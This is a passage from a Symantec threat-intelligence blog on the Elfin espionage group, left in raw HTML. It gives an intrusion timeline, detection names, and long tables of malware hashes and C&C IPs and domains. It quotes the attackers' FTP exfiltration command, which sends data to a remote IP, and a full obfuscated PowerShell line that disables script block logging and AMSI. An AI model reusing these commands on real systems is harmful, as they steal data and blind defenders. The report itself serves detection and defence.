23:29 on February 12 and 07:47 on February 13.</p> <p>Two days later, on February 14 at 15:12, the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server (217.147.168.123). Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe.<a> </a></p> <p>At this point, the attackers ceased activity while maintaining access to the network until February 21. At 06:38, the attackers were observed downloading a custom .NET FTP tool to the infected computer.</p> <ul> <li>192.119.15.36 880 hxxp://192.119.15[DOT]36:880/ftp.exe</li> </ul> <p>Later at 6:56, the attackers exfiltrated data using this FTP tool to a remote host:</p> <ul> <li>JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f /[REDACTED] -u [REDACTED] -p [REDACTED]</li> </ul> <p>Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP exfiltration tool known as FastUploader from hxxp://192.119.15[DOT]36:880/ftp.exe. This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe. FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients.</p> <p>At this point, additional activity from the attackers continued between March 5 into April, and on April 18 at 11:50, a second remote access tool known as DarkComet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer. This was quickly followed 15 seconds later by the installation of a credential dumping to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe, and the execution of PowerShell commands via PowerShell Empire, a freely available post-exploitation framework, to bypass logging on the infected machine.</p> <ul> <li>$GPF=[Ref].AsSeMBLy.GeTTYPe('System.Management.Automation.Utils')."GEtFiE`LD"('cachedGroupPolicySettings','N'+'onPublic,Static');If($GPF){$GPC=$GPF.GeTVALUE($NUlL);If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[COlLecTIons.GEneRic.DIctIoNARy[stRiNG,SyStEM.Object]]::nEw();$VAL.ADD('EnableScriptB'+'lockLogging',0);$VaL.Add<br> ('EnableScriptBlockInvocationLogging',0);$GPC<br> ['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[SCRIPTBLOck]."GEtFiE`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NuLL,(New-ObjeCt ColLectiONs.GeNERic.HASHSEt[StrInG]))}[REF].AssemBLy.GetTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SETValUe($nUll,$TrUE)};</li> </ul> <p>Activity continued throughout April where additional versions of DarkComet, POSHC2 implants, and an AutoIt backdoor were deployed along with further credential dumping activities.</p> <h2>Active and agile attacker</h2> <p>Elfin is one of the most active groups currently operating in the Middle East, targeting a large number of organizations across a diverse range of sectors. Over the past three years, the group has utilized a wide array of tools against its victims, ranging from custom built malware to off-the-shelf RATs, indicating a willingness to continually revise its tactics and find whatever tools it takes to compromise its next set of victims.</p> <h2>Protection/Mitigation</h2> <p>Symantec has the following protection in place to protect customers against these attacks:</p> <p><strong>File-based protection</strong></p> <ul> <li><a href="https://www.symantec.com/security-center/writeup/2017-082502-5203-99">Backdoor.Notestuk</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2017-030708-4403-99">Trojan.Stonedrill</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2016-080303-1343-99">Backdoor.Remvio</a></li> <li><a href="http://www.symantec.com/security_response/writeup.jsp?docid=2012-021012-3004-99">Backdoor.Breut</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2017-020114-1619-99">Trojan.Quasar</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2017-022715-3830-99">Backdoor.Patpoopy</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2014-050908-1738-99">Trojan.Nancrat</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2015-040111-3949-99#summary">Trojan.Netweird.B</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2019-030106-2440-99?om_rssid=sr-mixed30days">Exp.CVE-2018-20250</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2017-090114-5150-99">SecurityRisk.LaZagne</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2012-042615-3731-99">Hacktool.Mimikatz</a></li> <li><a href="https://www.symantec.com/security-center/writeup/2010-011515-5548-99">SniffPass</a></li> </ul> </div></app-paragraph-rte><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><app-paragraph-table _nghost-ng-c2534073160><div _ngcontent-ng-c2534073160 class="paragraph-table"><table _ngcontent-ng-c2534073160 role="table"><!----><thead _ngcontent-ng-c2534073160 role="rowgroup"><tr _ngcontent-ng-c2534073160 role="row"><th _ngcontent-ng-c2534073160 role="columnheader" data-label="SHA2">SHA2</th><th _ngcontent-ng-c2534073160 role="columnheader" data-label="Description">Description</th><!----></tr></thead><tbody _ngcontent-ng-c2534073160 role="rowgroup"><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 5798aefb07e12a942672a60c2be101dc26b01485616713e8be1f68b321747f2f </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Notestuk/TURNEDUP </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> AutoIt backdoor </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Gpppassword </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 87e2cf4aa266212aa8cf1b1c98ae905c7bac40a6fc21b8e821ffe88cf9234586 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> LaZagne </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 709df1bbd0a5b15e8f205b2854204e8caf63f78203e3b595e0e66c918ec23951 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> LaZagne </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> a23c182349f17398076360b2cb72e81e5e23589351d3a6af59a27e1d552e1ec0 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Quasar RAT </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 0b3610524ff6f67c59281dbf4a24a6e8753b965c15742c8a98c11ad9171e783d </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Quasar RAT </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> d5262f1bc42d7d5d0ebedadd8ab90a88d562c7a90ff9b0aed1b3992ec073e2b0 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Quasar RAT </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> ae1d75a5f87421953372e79c081e4b0a929f65841ed5ea0d380b6289e4a6b565 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Remcos </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> e999fdd6a0f5f8d1ca08cf2aef47f5ddc0ee75879c6f2c1ee23bc31fb0f26c70 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Remcos </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 018360b869d8080cf5bcca1a09eb8251558378eb6479d8d89b8c80a8e2fa328c </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Remcos </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 367e78852134ef488ecf6862e71f70a3b10653e642bda3df00dd012c4e130330 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Remcos </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> ea5295868a6aef6aac9e117ef128e9de107817cc69e75f0b20648940724880f3 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> Remcos </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 6401abe9b6e90411dc48ffc863c40c9d9b073590a8014fe1b0e6c2ecab2f7e18 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> SniffPass </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> bf9c589de55f7496ff14187b1b5e068bd104396c23418a18954db61450d21bab </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> DarkComet </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> af41e9e058e0a5656f457ad4425a299481916b6cf5e443091c7a6b15ea5b3db3 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> DarkComet </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> c7a2559f0e134cafbfc27781acc51217127a7739c67c40135be44f23b3f9d77b </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> AutoIt FTP tool </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 99c1228d15e9a7693d67c4cb173eaec61bdb3e3efdd41ee38b941e733c7104f8 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> .NET FTP tool </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> 94526e2d1aca581121bd79a699a3bf5e4d91a4f285c8ef5ab2ab6e9e44783997 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> PowerShell downloader (registry.ps1) </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="SHA2"> dedfbc8acf1c7b49fb30af35eda5e23d3f7a202585a5efe82ea7c2a785a95f40 </td><td _ngcontent-ng-c2534073160 role="cell" data-label="Description"> POSHC2 backdoor </td><!----></tr><!----></tbody></table></div><!----></app-paragraph-table><!----><!----><!----></span><span><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><app-paragraph-table _nghost-ng-c2534073160><div _ngcontent-ng-c2534073160 class="paragraph-table"><table _ngcontent-ng-c2534073160 role="table"><!----><thead _ngcontent-ng-c2534073160 role="rowgroup"><tr _ngcontent-ng-c2534073160 role="row"><th _ngcontent-ng-c2534073160 role="columnheader" data-label="IP">IP</th><th _ngcontent-ng-c2534073160 role="columnheader" data-label=" Domain"> Domain</th><!----></tr></thead><tbody _ngcontent-ng-c2534073160 role="rowgroup"><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 95.211.191.117 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> update-sec.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 162.250.145.234 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.235.142.76 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mywinnetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.119 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> hyperservice.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 213.252.244.14 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> service-avant.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.235.142.124 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mywinnetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 162.250.145.234 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.235.142.76 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mywinnetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 95.211.191.117 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> update-sec.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 5.187.21.70 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> microsoftupdated.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 217.13.103.46 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> securityupdated.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.120 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 5.187.21.71 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> backupnet.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.230.121.143 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> backupnet.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.119 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.117 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> srvhost.servehttp.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 37.48.105.178 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> servhost.hopto.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.117 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> srvhost.servehttp.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 5.187.21.70 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> microsoftupdated.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.214 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.217 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].servehttp.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.214 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.214 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.214 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].sytes.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.217 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.216 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> srvhost.servehttp.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.217 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.217 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.215 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.217 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.216 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.org </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.232 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.214 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 162.250.145.204 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 188.165.4.81 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> svcexplores.com </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.231 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.231 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.232 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.216 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].myftp.biz </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.230.121.143 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> remote-server.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 162.250.145.222 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 64.251.19.216 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].redirectme.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.222 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.223 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 217.147.168.44 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> remserver.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 195.20.52.172 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.cf </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.221 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.220 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 8.26.21.221 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 91.230.121.144 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> remserver.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 89.34.237.118 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mywinnetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.35 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 5.79.127.177 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mypsh.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.35 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.35 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.35 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.36 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.37 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.38 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.39 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> remote-server.ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.40 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.41 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> mynetwork.cf </td><!----></tr><tr _ngcontent-ng-c2534073160 role="row"><td _ngcontent-ng-c2534073160 role="cell" data-label="IP"> 192.119.15.42 </td><td _ngcontent-ng-c2534073160 role="cell" data-label=" Domain"> [REDACTED].ddns.net </td><!----></tr><!----></tbody></table></div><!----></app-paragraph-table><!----><!----><!----></span><span><!----><app-paragraph-rte _nghost-ng-c2666164074><div _ngcontent-ng-c2666164074><h2><strong>Threat intelligence</strong></h2> <p>In addition to file-based protection, customers of the <a href="https://www.symantec.com/services/cyber-security-services/deepsight-intelligence/adversary">DeepSight Intelligence Managed Adversary and Threat Intelligence</a> (MATI) service have received reports on Elfin, which detail methods of detecting and thwarting activities of this group.</p> </div></app-paragraph-rte><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><!----><!----><div class="blog-post__about-author-wrapper"><app-blog-author class="blog-author" _nghost-ng-c1463587007><div _ngcontent-ng-c1463587007 class="blog-author__inner"><div _ngcontent-ng-c1463587007 class="blog-author__image"><div _ngcontent-ng-c1463587007 app-picture><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_bio_large/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=0czhl3gL 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_bio_large_2x/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=e65lX9T7 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_bio_small/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=w8Rg1PQZ 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_bio_small_2x/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=ElOaN5mG 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_bio_small/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=w8Rg1PQZ" alt></picture><!----><!----><!----><!----></div><!----><div _ngcontent-ng-c1463587007 class="ellipse"><svg _ngcontent-ng-c1463587007="" width="46" height="500" viewBox="0 0 46 500"><path _ngcontent-ng-c1463587007="" fill="#213c60" d="M0 0h46c-29.758 83.007-44.113 169.773-43.064 260.295 1.049 90.525 15.404 170.425 43.064 239.705h-46v-500z"/></svg></div></div><div _ngcontent-ng-c1463587007 class="blog-author__content"><header _ngcontent-ng-c1463587007><h2 _ngcontent-ng-c1463587007 class="blog-author__title">About the Author</h2><h3 _ngcontent-ng-c1463587007 